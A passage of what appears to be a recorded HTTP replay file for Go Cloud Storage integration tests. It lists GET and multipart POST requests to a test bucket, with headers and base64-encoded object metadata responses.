VkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY29udGVudC9hY2wvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImNvbnRlbnQiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg3MjQ0MjAzMyIsImVudGl0eSI6InByb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6ImVkaXRvcnMifSwiZXRhZyI6IkNMR05tc254L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jb250ZW50LzE1NTY4MzU4NzI0NDIwMzMvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2NvbnRlbnQvYWNsL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJjb250ZW50IiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NzI0NDIwMzMiLCJlbnRpdHkiOiJwcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6IlJFQURFUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoidmlld2VycyJ9LCJldGFnIjoiQ0xHTm1zbngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2NvbnRlbnQvMTU1NjgzNTg3MjQ0MjAzMy91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY29udGVudC9hY2wvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImNvbnRlbnQiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg3MjQ0MjAzMyIsImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNMR05tc254L2VFQ0VBRT0ifV0sIm93bmVyIjp7ImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20ifSwiY3JjMzJjIjoiRmNYTThRPT0iLCJldGFnIjoiQ0xHTm1zbngvZUVDRUFFPSJ9" - } - }, - { - "ID": "eb678345630fe080", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/content?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3213" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:32 GMT" - ], - "Etag": [ - "CLGNmsnx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrtPOErXGrnlQtXCV1PhgO5nz80m75Fzs7DoR-y8Ava3jvL9NDJ4L-i8SIV_tktR8VqCvv9uh-X1ltJCj3isa_oY8TlV-OsZeIiESuDrRTYueQWQP0" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jb250ZW50LzE1NTY4MzU4NzI0NDIwMzMiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jb250ZW50IiwibmFtZSI6ImNvbnRlbnQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg3MjQ0MjAzMyIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDozMi40NDFaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MzIuNDQxWiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjMyLjQ0MVoiLCJzaXplIjoiNTIiLCJtZDVIYXNoIjoiSzI4NUF3S1dXZlZSZEJjQ1VYaHpOZz09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2NvbnRlbnQ/Z2VuZXJhdGlvbj0xNTU2ODM1ODcyNDQyMDMzJmFsdD1tZWRpYSIsImNhY2hlQ29udHJvbCI6InB1YmxpYywgbWF4LWFnZT02MCIsImFjbCI6W3sia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2NvbnRlbnQvMTU1NjgzNTg3MjQ0MjAzMy9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jb250ZW50L2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJjb250ZW50IiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NzI0NDIwMzMiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0xHTm1zbngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2NvbnRlbnQvMTU1NjgzNTg3MjQ0MjAzMy9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY29udGVudC9hY2wvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImNvbnRlbnQiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg3MjQ0MjAzMyIsImVudGl0eSI6InByb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6ImVkaXRvcnMifSwiZXRhZyI6IkNMR05tc254L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jb250ZW50LzE1NTY4MzU4NzI0NDIwMzMvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2NvbnRlbnQvYWNsL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJjb250ZW50IiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NzI0NDIwMzMiLCJlbnRpdHkiOiJwcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6IlJFQURFUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoidmlld2VycyJ9LCJldGFnIjoiQ0xHTm1zbngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2NvbnRlbnQvMTU1NjgzNTg3MjQ0MjAzMy91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY29udGVudC9hY2wvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImNvbnRlbnQiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg3MjQ0MjAzMyIsImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNMR05tc254L2VFQ0VBRT0ifV0sIm93bmVyIjp7ImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20ifSwiY3JjMzJjIjoiRmNYTThRPT0iLCJldGFnIjoiQ0xHTm1zbngvZUVDRUFFPSJ9" - } - }, - { - "ID": "d76ba152a62e7dc1", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJjYWNoZUNvbnRyb2wiOiJwdWJsaWMsIG1heC1hZ2U9NjAiLCJuYW1lIjoiY29udGVudCJ9Cg==", - "PGh0bWw+PGhlYWQ+PHRpdGxlPk15IGZpcnN0IHBhZ2U8L3RpdGxlPjwvaGVhZD48L2h0bWw+" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3212" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:33 GMT" - ], - "Etag": [ - "CLPJv8nx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uqk5XoKCyt74JBpeU8oREfzh3e0LLtXupBjcWtsFfHNZDEn4DjcmzWo6resyQ1gEisBp_STlU4hVaU3MbTyX3LM443_Gsu4ouZGdf3ZTvTzsLD_zNw" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jb250ZW50LzE1NTY4MzU4NzMwNTU5MjMiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jb250ZW50IiwibmFtZSI6ImNvbnRlbnQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg3MzA1NTkyMyIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjMzLjA1NVoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDozMy4wNTVaIiwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJ0aW1lU3RvcmFnZUNsYXNzVXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MzMuMDU1WiIsInNpemUiOiI1NCIsIm1kNUhhc2giOiJOOHA4L3M5RndkQUFubHZyL2xFQWpRPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY29udGVudD9nZW5lcmF0aW9uPTE1NTY4MzU4NzMwNTU5MjMmYWx0PW1lZGlhIiwiY2FjaGVDb250cm9sIjoicHVibGljLCBtYXgtYWdlPTYwIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY29udGVudC8xNTU2ODM1ODczMDU1OTIzL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2NvbnRlbnQvYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImNvbnRlbnQiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg3MzA1NTkyMyIsImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoib3duZXJzIn0sImV0YWciOiJDTFBKdjhueC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY29udGVudC8xNTU2ODM1ODczMDU1OTIzL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jb250ZW50L2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiY29udGVudCIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODczMDU1OTIzIiwiZW50aXR5IjoicHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoiZWRpdG9ycyJ9LCJldGFnIjoiQ0xQSnY4bngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2NvbnRlbnQvMTU1NjgzNTg3MzA1NTkyMy9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY29udGVudC9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImNvbnRlbnQiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg3MzA1NTkyMyIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDTFBKdjhueC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY29udGVudC8xNTU2ODM1ODczMDU1OTIzL3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jb250ZW50L2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiY29udGVudCIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODczMDU1OTIzIiwiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInJvbGUiOiJPV05FUiIsImVtYWlsIjoiYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJldGFnIjoiQ0xQSnY4bngvZUVDRUFFPSJ9XSwib3duZXIiOnsiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSJ9LCJjcmMzMmMiOiJHb1Vic1E9PSIsImV0YWciOiJDTFBKdjhueC9lRUNFQUU9In0=" - } - }, - { - "ID": "f785ed7f0490bb6d", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/content?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3212" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:33 GMT" - ], - "Etag": [ - "CLPJv8nx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrCqpaad9mhxk7VZgTc8xIunote5-AHPp3vYkUbSU8uiVcq65rcnrbtIuCqJ63JTuVJvKw7pFwnLjyn5fL37JzfXLhmLAowAV67_Qqtxxhiy4WQars" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jb250ZW50LzE1NTY4MzU4NzMwNTU5MjMiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jb250ZW50IiwibmFtZSI6ImNvbnRlbnQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg3MzA1NTkyMyIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjMzLjA1NVoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDozMy4wNTVaIiwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJ0aW1lU3RvcmFnZUNsYXNzVXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MzMuMDU1WiIsInNpemUiOiI1NCIsIm1kNUhhc2giOiJOOHA4L3M5RndkQUFubHZyL2xFQWpRPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY29udGVudD9nZW5lcmF0aW9uPTE1NTY4MzU4NzMwNTU5MjMmYWx0PW1lZGlhIiwiY2FjaGVDb250cm9sIjoicHVibGljLCBtYXgtYWdlPTYwIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY29udGVudC8xNTU2ODM1ODczMDU1OTIzL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2NvbnRlbnQvYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImNvbnRlbnQiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg3MzA1NTkyMyIsImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoib3duZXJzIn0sImV0YWciOiJDTFBKdjhueC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY29udGVudC8xNTU2ODM1ODczMDU1OTIzL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMD